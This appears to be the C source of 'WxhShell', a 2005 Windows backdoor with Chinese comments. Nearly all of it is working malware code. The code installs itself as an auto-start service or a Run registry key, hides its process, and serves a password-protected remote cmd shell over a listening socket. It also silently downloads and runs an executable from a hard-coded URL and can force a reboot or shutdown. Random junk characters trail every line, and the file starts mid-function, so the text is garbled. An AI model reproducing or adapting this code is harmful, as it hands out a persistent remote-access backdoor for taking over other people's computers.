    if(Boot(SHUTDOWN)) gUrb&#\X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gw1| ?C  
    else { `Al[gG?/!  
    closesocket(wsh); ,0~/ Cn  
    ExitThread(0); 4't@i1Ll(  
    } Q9~UL^bF  
    break; 9t$%Tc#Z  
    } I)-u)P?2x  
  // 获取shell <IF\;,.c  
  case 's': { &<u pjb  
    CmdShell(wsh); Wv   
    closesocket(wsh); zn |=Q$81  
    ExitThread(0); F C= %_y  
    break; `P`n qn  
  } GM/3*S$c  
  // 退出 }}GBCXAf_  
  case 'x': { P80z@!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); GQ-o wH]  
    CloseIt(wsh); @UO=)PxN3  
    break; |\/0S  
    } EO|r   
  // 离开 h>Z$ n`T  
  case 'q': { -S=Zsr\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %@! Vx  
    closesocket(wsh); Kis\Rg  
    WSACleanup(); F:/R'0  
    exit(1); Y/t:9Aau  
    break; xNNoB/DR  
        } ]|q\^k)JU  
  } 6TE R Q  
  } ?=<vC  
.P=uR8  
  // 提示信息 u.gh04{5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eiZv|?^0  
} blZiz2F  
  } F<?e79},`  
iSxxy1R  
  return; 5eC5oX>  
} y+RT[*bX5o  
ZkYc9!anY  
// shell模块句柄 r'hr 'wZ  
int CmdShell(SOCKET sock) O0xL;@rBe  
{ Tk-PCra  
STARTUPINFO si; jlER_I]  
ZeroMemory(&si,sizeof(si)); NQ<~$+{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >taS<.G  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i:WHql"Kw_  
PROCESS_INFORMATION ProcessInfo; 1h\:Lj  
char cmdline[]="cmd"; )2oWoZ vi9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qH6DZ|  
  return 0; )J_!ZpMC  
} gFJ& t^yL  
w\;=3C`  
// 自身启动模式 .i/]1X*;r^  
int StartFromService(void) d@"eWvnlZ  
{ tGzYO/Zp  
typedef struct UTUIL D  
{ %_1~z[Dv  
  DWORD ExitStatus; 0|{U"\  
  DWORD PebBaseAddress; "yc/8{U  
  DWORD AffinityMask; ##u+[ !  
  DWORD BasePriority; 5v~Y>  
  ULONG UniqueProcessId; aQN`C {nY  
  ULONG InheritedFromUniqueProcessId; 5 d(A(  
}   PROCESS_BASIC_INFORMATION; "h7-nwm  
a-Cp"pKlVY  
PROCNTQSIP NtQueryInformationProcess; "JVz v U]  
5S$HDO&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _89 _*t(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Dt1{]~30  
g$dL5N7  
  HANDLE             hProcess; KN~E9oGs  
  PROCESS_BASIC_INFORMATION pbi; %8$JL=c  
X@9_ukdpu  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); GQ|kcY=  
  if(NULL == hInst ) return 0; [p!C+ |rro  
]02 l!"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #jr;.;8sQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); AXPUJ?V  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .1I];Cy0D  
q9WdJ!-^X  
  if (!NtQueryInformationProcess) return 0; (fh:q2E#  
~JLqx/[|s  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bq[Q  
  if(!hProcess) return 0; J~gfMp.  
&O0+\A9tP  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a4`@z:l  
K!I]/0L  
  CloseHandle(hProcess); 5Tu#o ()  
YXI DqTA+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); GetUCb%1  
if(hProcess==NULL) return 0; Rdt8jY6F/  
*$# r%  
HMODULE hMod; K/\#FJno  
char procName[255]; :jp?FF^j;  
unsigned long cbNeeded; n#J$=@  
N8D'<BUC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3<mv9U(  
'R]Z9h  
  CloseHandle(hProcess); _"0n.JQg  
k}lx!Ck  
if(strstr(procName,"services")) return 1; // 以服务启动 Ac7`nvI=  
g+k6pi*  
  return 0; // 注册表启动 3:Z(tM&-O  
} ( ?/0$DB  
Gzp)OHgJ  
// 主模块 B.P64"w  
int StartWxhshell(LPSTR lpCmdLine) Cg{$$&_(Hj  
{ iBo-ANnK9  
  SOCKET wsl;  V'mpl  
BOOL val=TRUE; t&P5Zw*B  
  int port=0; `=KrV#/758  
  struct sockaddr_in door; [qZ4+xF,,  
ok6e=c '  
  if(wscfg.ws_autoins) Install(); ~36c0 =  
FwW%@Y  
port=atoi(lpCmdLine); ZcWl{e4  
>8 JvnBFx=  
if(port<=0) port=wscfg.ws_port; #[[p/nAy}A  
hYWWvJ)S  
  WSADATA data; _b5iR<f  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u-K 5  
F`- [h )e.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3\WES!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <.v6w*+{/  
  door.sin_family = AF_INET; yv:NH|,/y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); M^[ jA](a  
  door.sin_port = htons(port); CD tYj  
hqds T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0[i]PgIH  
closesocket(wsl); [`b{eLCFX]  
return 1; 4dok/ +Ec  
} MnS"M[y3  
_0f[.vN  
  if(listen(wsl,2) == INVALID_SOCKET) { Z*QRdB%,  
closesocket(wsl);  y]+A7|  
return 1; &%bX&;ECzf  
} gU%GM  
  Wxhshell(wsl); b;O+QRa  
  WSACleanup(); nSC>x:jY5/  
n^%u9H  
return 0; Lg nGqIlx  
A^Zs?<C-  
} zc{C+:3$^  
i~9)Hz;!  
// 以NT服务方式启动 B)|s.Ez  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Rq9gtx8,=  
{ <>:kAT,sP  
DWORD   status = 0; }*t~&l0  
  DWORD   specificError = 0xfffffff; BY d3rI  
+vnaEy  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [y:LA ~q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `Qhh{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [~o3S$C&7  
  serviceStatus.dwWin32ExitCode     = 0; QM]^@2rK2  
  serviceStatus.dwServiceSpecificExitCode = 0; dWUu3  
  serviceStatus.dwCheckPoint       = 0; Ll`apKr  
  serviceStatus.dwWaitHint       = 0; W{h7+X]Y  
D5p22WY  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  ?.s*)n  
  if (hServiceStatusHandle==0) return; Pm_=   
2P=;r:cx  
status = GetLastError(); 4kM<L}J#  
  if (status!=NO_ERROR) %xRS9A 4  
{ g;h&Xkp  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /$=^0v +  
    serviceStatus.dwCheckPoint       = 0; >gE_?%a[  
    serviceStatus.dwWaitHint       = 0; ]3C8  
    serviceStatus.dwWin32ExitCode     = status; b+hY^$//  
    serviceStatus.dwServiceSpecificExitCode = specificError; [ZbK)L+_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); a? kQ2<@g  
    return; uE$o4X  
  } P33E\O  
 V("1\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; TG9)x|!  
  serviceStatus.dwCheckPoint       = 0; ]@>|y2  
  serviceStatus.dwWaitHint       = 0; cOQy|v`KD,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gg(U}L ]:  
} d#\n)eGr  
"Tv7*3>  
// 处理NT服务事件,比如:启动、停止 v`&Z.9!Tz^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )R4<* /C:w  
{ E@Fen CF  
switch(fdwControl) IoA;q)  
{ n1Jz49[r  
case SERVICE_CONTROL_STOP: Jy_'(hG  
  serviceStatus.dwWin32ExitCode = 0; 4_<Uk  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (=j!P*  
  serviceStatus.dwCheckPoint   = 0; K^H t$04  
  serviceStatus.dwWaitHint     = 0; U\ued=H  
  { ZAZCvN@5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [/G;XHL;?  
  } &[kgrRF@HU  
  return; 7;NV 1RV  
case SERVICE_CONTROL_PAUSE: 7o. 'F  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :!$z1u8R  
  break; s /M~RB!w  
case SERVICE_CONTROL_CONTINUE: @nu/0+8h{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Bv8C_-lV/  
  break; >9`ep7  
case SERVICE_CONTROL_INTERROGATE: <Z' hZ  
  break; 0K ?(xB  
}; B! V{.p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z<W6Avr  
} W1 Qc1T8  
2r,'4%G  
// 标准应用程序主函数 / JB4#i7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) dU6LB+A  
{ "ux]kfoT  
?LI9F7n  
// 获取操作系统版本 dH|^\IQ  
OsIsNt=GetOsVer(); aUK4{F ;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); D}sGBsOW  
8F`  
  // 从命令行安装 @88i/ Z_  
  if(strpbrk(lpCmdLine,"iI")) Install(); -G#k/Rz6  
)H)Udhz  
  // 下载执行文件 _~Vz+nT  
if(wscfg.ws_downexe) { T+RI8.#o  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1m;*fs  
  WinExec(wscfg.ws_filenam,SW_HIDE); Y,btL'[W  
} aG_O N0g  
pm~;:#z7  
if(!OsIsNt) { #G` ,  
// 如果时win9x,隐藏进程并且设置为注册表启动 yB%)D0  
HideProc(); xY2_*#{.  
StartWxhshell(lpCmdLine); 8Ql'(5|T  
} ^alZ\!B8  
else GA.bRN2CI2  
  if(StartFromService()) ,$zlw\  
  // 以服务方式启动 ih |Ky+!  
  StartServiceCtrlDispatcher(DispatchTable); dqA[|bV  
else jUvA<r  
  // 普通方式启动 D"4&9"CU  
  StartWxhshell(lpCmdLine); ^z}lGu  
9,f<Nb(\  
return 0; S?\hbM]V-o  
} 6F.7Ws <  
1]Q 2qs  
B36puz 0{  
'z}M[h K]  
=========================================== l@r wf$-  
)S};k=kG  
gT&'i(c  
SiqX1P  
4bev* [k  
|W*@}D  
" L3GC[$S  
k\sM;bCv7  
#include <stdio.h> ``|RO[+2  
#include <string.h> 5 k%9>U%$  
#include <windows.h> 6w"( y~c1  
#include <winsock2.h> DwmU fZp  
#include <winsvc.h> }"?nU4q;S  
#include <urlmon.h> TT2cOw  
I+"?,Ej$K  
#pragma comment (lib, "Ws2_32.lib") qJ+52U|z  
#pragma comment (lib, "urlmon.lib") 0vuKGjK  
XQ 3*  
#define MAX_USER   100 // 最大客户端连接数 T3 9C lH  
#define BUF_SOCK   200 // sock buffer daB l%a=  
#define KEY_BUFF   255 // 输入 buffer =vr Y{5!>  
mw(c[.*%  
#define REBOOT     0   // 重启 hkwa""-  
#define SHUTDOWN   1   // 关机 hzQ+9-qA  
3p3WDL7  
#define DEF_PORT   5000 // 监听端口 hB7pR"P  
E {KS a  
#define REG_LEN     16   // 注册表键长度 }B=qH7u.K  
#define SVC_LEN     80   // NT服务名长度 o)#q9Vk%b  
,9Z2cgXwJ  
// 从dll定义API P}hY {y'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4W!\4Va  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <r<Dmn|\a  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); sB( `[5I  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hD6JW-  
hqs$yb  
// wxhshell配置信息 6Q2or n[  
struct WSCFG { W(2+z5z  
  int ws_port;         // 监听端口 j,=*WG  
  char ws_passstr[REG_LEN]; // 口令 <AMb!?Obh  
  int ws_autoins;       // 安装标记, 1=yes 0=no B;GxfYj  
  char ws_regname[REG_LEN]; // 注册表键名 |^Ew<  
  char ws_svcname[REG_LEN]; // 服务名 2y+70(E1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )X~Pr?52?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3w/( /|0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 r(: 8!=~K  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =[P%_v``  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8cK\myn.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 W$" Y%^L  
>f\zCT%cf  
}; TBZ-17+  
Fn86E dFM  
// default Wxhshell configuration Dac ^*k=D  
struct WSCFG wscfg={DEF_PORT, j:3EpD@GS  
    "xuhuanlingzhe", 3P//H8 8LY  
    1, (Sth:{;  
    "Wxhshell", Nush`?]J"_  
    "Wxhshell", _0,"vFdj  
            "WxhShell Service", pi`;I*f/  
    "Wrsky Windows CmdShell Service", >|a\>UgC  
    "Please Input Your Password: ",  VQ`,#`wV  
  1, }RcK_w@Jx)  
  "http://www.wrsky.com/wxhshell.exe", of8mwnZR  
  "Wxhshell.exe" Abj97S  
    }; f}[H `OF  
i2$*}Cu  
// 消息定义模块 > P<z |8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S dIGU[fm  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Zc-#;/b3T  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^ED"rMI  
char *msg_ws_ext="\n\rExit."; nQ5N=l  
char *msg_ws_end="\n\rQuit."; U;\S(s}  
char *msg_ws_boot="\n\rReboot..."; Z^s+vi  
char *msg_ws_poff="\n\rShutdown..."; `#u l,%  
char *msg_ws_down="\n\rSave to "; QU:EY'2  
RcgRaQ2^  
char *msg_ws_err="\n\rErr!"; 1g1?zk8zO  
char *msg_ws_ok="\n\rOK!"; NMXnrvS&  
X Vw-G }5  
char ExeFile[MAX_PATH]; 16I&7=S,  
int nUser = 0; uie~'K\y  
HANDLE handles[MAX_USER]; Mx8Gu^FW.d  
int OsIsNt; s=MT,  
T^~)jpkw  
SERVICE_STATUS       serviceStatus; %yp5DD}|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [s~JceUyX  
Y}ng_c  
// 函数声明 eUt=n)*`  
int Install(void); Yx5J$!Ld  
int Uninstall(void); %`#G92Z_  
int DownloadFile(char *sURL, SOCKET wsh); a mqOxb  
int Boot(int flag); 4otl_l(`yv  
void HideProc(void); R'SBd}1  
int GetOsVer(void); #e/2C  
int Wxhshell(SOCKET wsl); mj@31YW  
void TalkWithClient(void *cs); Go1(@  
int CmdShell(SOCKET sock); |xh&p(  
int StartFromService(void); :G-1YA  
int StartWxhshell(LPSTR lpCmdLine); V JDoH  
mzGjRl=O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e 8,{|a  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4qt+uNe!  
4U?<vby  
// 数据结构和表定义 _#!U"hkH  
SERVICE_TABLE_ENTRY DispatchTable[] = "V4Q2T T  
{ L}$z/jo  
{wscfg.ws_svcname, NTServiceMain}, 0x@A~!MoP  
{NULL, NULL} Kq&qE>Ju  
}; %zzYleJ!]  
9~c~E/4!  
// 自我安装 EUy(T1Cl&&  
int Install(void) $2KK:{VX  
{ C/G]v*MBQ  
  char svExeFile[MAX_PATH]; HY;9?KJ'  
  HKEY key; wK ?@.l)u  
  strcpy(svExeFile,ExeFile); q\R q!7(  
/kB|1gFj  
// 如果是win9x系统,修改注册表设为自启动 H\E7o" m  
if(!OsIsNt) { i@5 )` <?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D9BQID$R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,[isib3  
  RegCloseKey(key); H_w%'v&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mu[Op*)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N}b^fTq  
  RegCloseKey(key); {,?ss$L  
  return 0; r|GY]9  
    } qsI^oBD"  
  } K]/Od  
} !`&\Lx_  
else { ?mx\eX{  
+;Cr];b3  
// 如果是NT以上系统,安装为系统服务 M0L&~p_F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :et#0!  
if (schSCManager!=0) PcC/_+2  
{ $6h*l T<  
  SC_HANDLE schService = CreateService a460|w6  
  ( icgJ;Q 5  
  schSCManager, w^q7n  
  wscfg.ws_svcname, E{y1S\7K  
  wscfg.ws_svcdisp, <T+!V-Pj*  
  SERVICE_ALL_ACCESS, yZCX S  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , < Ek/8x  
  SERVICE_AUTO_START, UDEj[12S  
  SERVICE_ERROR_NORMAL, w0w1PE-V=  
  svExeFile, 6>`c1 \8f  
  NULL, dJ ~Zr)>  
  NULL, ]~0}=,H$N  
  NULL, ^/@jwZ  
  NULL, $,fy$ Qk,S  
  NULL v2)g 1sXd  
  ); 5Bjgr  
  if (schService!=0) ' cBBt  
  { DinPxtT?a  
  CloseServiceHandle(schService); ,"\@fwy{  
  CloseServiceHandle(schSCManager); ;_O)p,p  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]:ZdV9`  
  strcat(svExeFile,wscfg.ws_svcname); R=]d%L8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -e*ZCwQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d0'HDVd  
  RegCloseKey(key); F$V/K&&W  
  return 0; ;*2>ES  
    } SaOYu &>  
  } ;dR=tAf0$Q  
  CloseServiceHandle(schSCManager); 1} %B%*N  
} 9?<{_'  
} c>:R3^\lwx  
Lel|,mc`k2  
return 1; >&:NFq-  
} K/=|8+IDL  
YW/QC'_iC  
// 自我卸载 zfA GtT <  
int Uninstall(void) X;oa[!k  
{ c!K]J  
  HKEY key; j|4C\~i  
^T::-pN*  
if(!OsIsNt) { g%[c<l9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LJ)5W  
  RegDeleteValue(key,wscfg.ws_regname); 'Ft0Ry<OL  
  RegCloseKey(key); 6( CDNMzj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ej ".axjT  
  RegDeleteValue(key,wscfg.ws_regname); "pP^*9FrA  
  RegCloseKey(key); V w||!d  
  return 0; phnV7D(E  
  } 6 5N~0t  
} F8:vDv  
} H,nec<Jp  
else { y*pUlts<  
&|3 $!S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {8)zg<rL+M  
if (schSCManager!=0) T&4qw(\G  
{ FCi U  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E;JsBH  
  if (schService!=0) Sz- J y:j  
  { +t5U.No  
  if(DeleteService(schService)!=0) { AP77a*@8  
  CloseServiceHandle(schService); 3RLFp\i"s  
  CloseServiceHandle(schSCManager); "j;4 k.`h  
  return 0; =  C4  
  } x8S7oO7  
  CloseServiceHandle(schService); V-<GT ?  
  } 1N7Kv4,  
  CloseServiceHandle(schSCManager); 91 =OF*w  
} MrZh09y  
} ;;L[e]Z  
KMI_zhyB  
return 1; kY*rb_2j  
} &boOtl^  
GrUCZ<S  
// 从指定url下载文件 WI?oSE w  
int DownloadFile(char *sURL, SOCKET wsh) Re P|UH  
{ uV!^,,~  
  HRESULT hr; tjupJ*Rt  
char seps[]= "/"; e,t(q(L  
char *token; $2W%2rZ  
char *file; ?>I;34tL(  
char myURL[MAX_PATH]; anXc|  
char myFILE[MAX_PATH]; /YZr~|65  
0q&<bV:D  
strcpy(myURL,sURL); .zi_[  
  token=strtok(myURL,seps); zT!drq:x  
  while(token!=NULL) D#3\y*-y?  
  { 1v71rf&w  
    file=token; j'A_'g'^  
  token=strtok(NULL,seps); z^'gx@YD*v  
  } D9 g#F f6  
_f$^%?^  
GetCurrentDirectory(MAX_PATH,myFILE);  Vh_P/C+  
strcat(myFILE, "\\"); ;7} VBkH  
strcat(myFILE, file); wK?vPS  
  send(wsh,myFILE,strlen(myFILE),0); 7@D@ucL  
send(wsh,"...",3,0); $<}$DH_Y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vN`klDJgW[  
  if(hr==S_OK) o,_? ^'@  
return 0; R%?9z 8-  
else 3yVMXK  
return 1; '<"s \,  
9[<)WQe6M  
} be.*#[  
=ALTUV3/q  
// 系统电源模块 &L=suDe  
int Boot(int flag) D]zwl@sRX:  
{ o]4*|ARPs  
  HANDLE hToken; k$blEa4  
  TOKEN_PRIVILEGES tkp; ~"nxE  
h1de[q)  
  if(OsIsNt) { 9Z4nAc  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); x(1:s|Uyp{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); t'n pG}`tE  
    tkp.PrivilegeCount = 1; yDzc<p\`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `sn^ysp  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s~^5kgPA  
if(flag==REBOOT) { HiZ*+T.B  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) IxY|>5z  
  return 0; X% t1 T4  
} 0XE4<U   
else { u_oaebOrpP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) CsGx@\jN  
  return 0; 9jM}~XvV  
} xi~?>f  
  } l+KY)6o  
  else { zdB^S%cztS  
if(flag==REBOOT) { ag [ZW  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) m*&]!mM"0G  
  return 0; :CG`t?N9M  
} marQNZ  
else { &."iFe  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u^^[Q2LDU}  
  return 0; oH97=>  
} 6]K_m(F  
} <cps2*'  
, qMzWa  
return 1; n<LEler#M  
} Cio 1E-4  
J!dm-L  
// win9x进程隐藏模块 G#ZH.24Y  
void HideProc(void) )|ju~qbf  
{ T<n  
kMIcK4.MH  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *& BQTZ6  
  if ( hKernel != NULL ) o_izl \  
  { 1+_`^|eK  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); t% d Z-Ym  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); YL!P0o13r  
    FreeLibrary(hKernel); 0"jY.*_EW  
  } Wf+cDpK  
01 }D,W`  
return; 3#LlDC_WC  
} yb<fpM  
uy>q7C  
// 获取操作系统版本 x[ SDl(<@;  
int GetOsVer(void) 4>wP7`/+y  
{ =Qy<GeY  
  OSVERSIONINFO winfo; \1k79c  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); yuh *  
  GetVersionEx(&winfo); S,88*F(<^q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /:cd\A}  
  return 1; /2&c$9=1  
  else Cwv9 a^  
  return 0; k R?qb6  
} .yoH/2h  
^ gdaa>L  
// 客户端句柄模块 6_(&6]}66  
int Wxhshell(SOCKET wsl) 7y.kQI?3  
{ W_JlOc!y  
  SOCKET wsh; KYB`D.O   
  struct sockaddr_in client; l[dK[4  
  DWORD myID; (Lbbc+1m  
Kew@&j~  
  while(nUser<MAX_USER) bTI|F]^!  
{ C"y(5U)d  
  int nSize=sizeof(client); 1y:-N6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  CT&|QH{  
  if(wsh==INVALID_SOCKET) return 1; Ugr!"Q#M  
atj(eg  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9=s<Ld  
if(handles[nUser]==0) &5>Kl}7  
  closesocket(wsh); YX!iL6?~  
else q v-8)MSr  
  nUser++; irZ])a  
  } ___~D dq  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |NlO7aQ>2H  
;xy"\S]  
  return 0; A@`}c,G  
} Kf3"Wf^q   
}H53~@WP>  
// 关闭 socket 82+r^t/.  
void CloseIt(SOCKET wsh) Usvl}{L[  
{ -oGdk|Yn  
closesocket(wsh); EAUEQk?9  
nUser--; 9gW|}&-  
ExitThread(0); 9i:L&dN  
} [+^1.N  
/l3V3B7  
// 客户端请求句柄 cTifC1Pf  
void TalkWithClient(void *cs) -E[Kml~U  
{ /'SNw?&  
}PlRx6r@  
  SOCKET wsh=(SOCKET)cs; y RqL9t  
  char pwd[SVC_LEN]; PrqlTT}Px  
  char cmd[KEY_BUFF]; i$Ul(?  
char chr[1]; .xCZ1|+gG  
int i,j; 9X6h  
1C+13LE$U  
  while (nUser < MAX_USER) { &C_j\7Dq  
}dX*[I   
if(wscfg.ws_passstr) { w7L{_aom  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q0sI(V#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )D O?VRI  
  //ZeroMemory(pwd,KEY_BUFF); qZdQD  
      i=0; @?sRj&w  
  while(i<SVC_LEN) { 'ms-*c&  
VD*6g%p  
  // 设置超时 zpn9,,~u  
  fd_set FdRead; %@b0[ZC  
  struct timeval TimeOut; :U|1xgB  
  FD_ZERO(&FdRead); LE Nq_@$  
  FD_SET(wsh,&FdRead); dFxIF;C>/  
  TimeOut.tv_sec=8; (XTG8W sN  
  TimeOut.tv_usec=0; uo9B9"&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,L2ZinU:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); dlh)gp;  
s[>,X#7 y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Qp5VP@t  
  pwd=chr[0]; CZwXTHe  
  if(chr[0]==0xd || chr[0]==0xa) { g/d<Zfq<{  
  pwd=0; QW~E&B%  
  break; QE+g j8  
  } Evq IcZ  
  i++; QO:!p5^:  
    } lN)C2 2  
rgQOj^xKv^  
  // 如果是非法用户,关闭 socket ?=msH=N<l  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .NC!7+1m  
} !?jrf] A@  
EWhK0Vej=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); VT)oLj/A  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oCv.Ln1;Z  
qBQ?HLK-  
while(1) { net@j#}j-  
Qy<P463A(l  
  ZeroMemory(cmd,KEY_BUFF); sE<V5`Z=  
BwEN~2u6  
      // 自动支持客户端 telnet标准   ys^oG$lq  
  j=0; eQm1cgMdz  
  while(j<KEY_BUFF) { 76Cl\rV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K7B/s9/xs  
  cmd[j]=chr[0]; ?!:ha;n  
  if(chr[0]==0xa || chr[0]==0xd) { (,\+tr8r8  
  cmd[j]=0; UgSB>V<?  
  break; NNR`!Pty  
  } |A~jsz6pI  
  j++; 1=c\Rr9]  
    } e]"W!K cD9  
d"mkL-  
  // 下载文件 Sv#XIMw{,  
  if(strstr(cmd,"http://")) { 8 ^2oWC#U(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); U$.@]F4&  
  if(DownloadFile(cmd,wsh)) 65P0,b6"OT  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /t57!&  
  else aiUY>M#|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YUD`!C  
  } 4r#= *  
  else { 8 +/rlHp  
mHTXni<!  
    switch(cmd[0]) { KeB"D!={;  
